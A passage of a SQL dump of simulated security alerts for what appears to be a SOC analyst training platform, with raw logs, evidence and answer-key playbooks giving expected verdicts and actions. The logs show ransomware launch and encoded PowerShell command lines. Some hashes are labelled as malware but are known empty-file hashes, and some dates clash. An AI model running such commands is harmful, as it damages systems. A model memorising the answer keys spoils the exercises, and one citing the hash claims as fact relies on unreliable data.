(508, 'Malicious Code Execution Initiated', 'critical', 'Endpoint Detection and Response (EDR)', 'An advanced remote code execution attempt has been detected. The attacker has initiated the WannaCry ransomware payload, beginning the encryption process on compromised systems.', 'Remote Code Execution', 'T1059.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_id\":\"edr_456789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.102\",\"source_port\":443,\"destination_port\":135,\"protocol\":\"TCP\",\"username\":\"compromised_user\",\"executed_command\":\"c:\\\\windows\\\\system32\\\\cmd.exe /c start wannacry.exe\",\"file_hash\":\"3f2efc7f4c0a3b8ff2e8e4d3b6bb6a8f\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\Downloads\\\\wannacry.exe\",\"process_id\":12345,\"malware_name\":\"WannaCry\"}', '2026-01-06 01:34:24', '2026-02-16 18:19:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with WannaCry attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f2efc7f4c0a3b8ff2e8e4d3b6bb6a8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches WannaCry ransomware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"wannacry.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal EDR\",\"verdict\":\"malicious\",\"details\":\"Known ransomware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(509, 'Persistence Mechanism Established', 'high', 'System Logs', 'The attacker has established persistence on the compromised systems by modifying registry keys and creating scheduled tasks, ensuring the ransomware re-executes upon reboot.', 'Persistence', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:25:30Z\",\"event_id\":\"4624\",\"computer_name\":\"compromised-host.local\",\"user\":\"malicious_user\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"registry_key_modified\":\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"scheduled_task_created\":\"\\\\Windows\\\\System32\\\\Tasks\\\\MaliciousTask\",\"malware_file\":\"ransomware_payload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"description\":\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\"}', '2026-01-06 01:34:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash matches known ransomware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Filename commonly associated with ransomware attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key_modified\\\":\\\"HKEY_CURRENT_USER\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"scheduled_task_created\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\MaliciousTask\\\",\\\"malware_file\\\":\\\"ransomware_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A malicious user has modified the Windows registry to ensure the ransomware payload executes at startup.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(520, 'Suspicious Network Traffic Detected', 'medium', 'Network Intrusion Detection System (NIDS)', 'Unusual traffic patterns have been detected originating from a popular news site, indicating a potential drive-by download attempt aimed at gaining initial access.', 'Drive-by Download', 'T1189', 1, 'new', NULL, '{\"timestamp\":\"2023-09-15T14:23:45Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"http_request\":{\"method\":\"GET\",\"url\":\"http://news.example.com/malicious.js\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"referrer\":\"http://news.example.com/home\"},\"malware_hash\":\"3a5c4f89d1b2e5f4c3b2a8e1e6f4b3c4\",\"filename\":\"malicious.js\"}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host possibly compromised.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"suspicious\",\"details\":\"IP associated with previous drive-by download activities.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://news.example.com/malicious.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"URL hosts a known malicious script.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3a5c4f89d1b2e5f4c3b2a8e1e6f4b3c4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local Analysis\",\"verdict\":\"suspicious\",\"details\":\"JavaScript file with obfuscated code.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(521, 'Unverified Flash Update Executed', 'high', 'Endpoint Detection and Response (EDR)', 'A fake Adobe Flash update was executed on the endpoint, leading to the installation of a ransomware payload. The operation is part of a broader campaign aiming to deploy ransomware via social engineering tactics.', 'Execution', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"computer_name\":\"DESKTOP-5G9H1F2\",\"user\":\"john_doe\",\"process_name\":\"C:\\\\Users\\\\john_doe\\\\Downloads\\\\fake_flash_update.exe\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"src_ip\":\"102.54.98.112\",\"internal_ip\":\"192.168.1.45\",\"file_path\":\"C:\\\\Users\\\\john_doe\\\\Downloads\\\\\",\"event_type\":\"Execution\",\"description\":\"A suspicious application resembling Adobe Flash Player was executed, which is known to deploy ransomware payloads.\"}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"fake_flash_update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known ransomware delivery mechanism disguised as Adobe Flash update.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"102.54.98.112\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to known C2 servers.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the affected machine.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(522, 'DiskCryptor Ransomware Detected', 'high', 'File Integrity Monitoring', 'DiskCryptor has been activated on the victim\'s machine, initiating encryption of the hard drive and establishing ransomware persistence.', 'Persistence', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:36Z\",\"event_id\":\"FIM-2023-5698\",\"file_path\":\"C:\\\\Program Files\\\\DiskCryptor\\\\dcinst.exe\",\"file_hash\":\"8f14e45fceea167a5a36dedd4bea2543\",\"user\":\"compromised_user\",\"internal_ip\":\"192.168.1.105\",\"external_ip\":\"203.0.113.45\",\"event_type\":\"file_change\",\"description\":\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\",\"additional_info\":{\"protocol\":\"HTTPS\",\"connection_status\":\"Active\"}}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"8f14e45fceea167a5a36dedd4bea2543\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as DiskCryptor ransomware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"dcinst.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local Analysis\",\"verdict\":\"suspicious\",\"details\":\"Common filename used by DiskCryptor ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account showing unusual activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:36Z\\\",\\\"event_id\\\":\\\"FIM-2023-5698\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\DiskCryptor\\\\\\\\dcinst.exe\\\",\\\"file_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"event_type\\\":\\\"file_change\\\",\\\"description\\\":\\\"Unauthorized execution of DiskCryptor detected. File integrity compromised.\\\",\\\"additional_info\\\":{\\\"protocol\\\":\\\"HTTPS\\\",\\\"connection_status\\\":\\\"Active\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(523, 'Unauthorized SMB Traffic Observed', 'high', 'Network Traffic Analysis', 'An unauthorized SMB traffic pattern was detected indicating possible lateral movement within the network. The activity was flagged due to the use of known ransomware tactics to spread laterally across the network, utilizing the SMB protocol.', 'Lateral Movement', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T13:45:00Z\",\"event_id\":\"SMB-ALERT-004\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.25\",\"attacker_ip\":\"203.0.113.45\",\"protocol\":\"SMB\",\"detected_filename\":\"ransomware_payload.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"john_doe\",\"action\":\"File Transfer\",\"status\":\"Suspicious\"}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host involved in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host receiving unauthorized SMB traffic.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP linked to ransomware distribution.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matches known ransomware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"malicious\",\"details\":\"File named associated with ransomware operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(524, 'Encrypted Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) System', 'Anomalous outbound traffic detected from an internal host to a known malicious IP. The traffic pattern suggests an attempt to exfiltrate encrypted files, which could potentially be used for ransom. The files in question were detected on host 192.168.1.23 and attempted to connect to external IP 203.0.113.45.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_source\":\"DLP System\",\"internal_ip\":\"192.168.1.23\",\"external_ip\":\"203.0.113.45\",\"detected_files\":[{\"filename\":\"confidential_data.enc\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}],\"username\":\"jsmith\",\"action\":\"attempted_exfiltration\",\"network_protocol\":\"HTTPS\",\"file_size\":\"15MB\"}', '2026-01-06 01:39:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to encrypted file detected during exfiltration 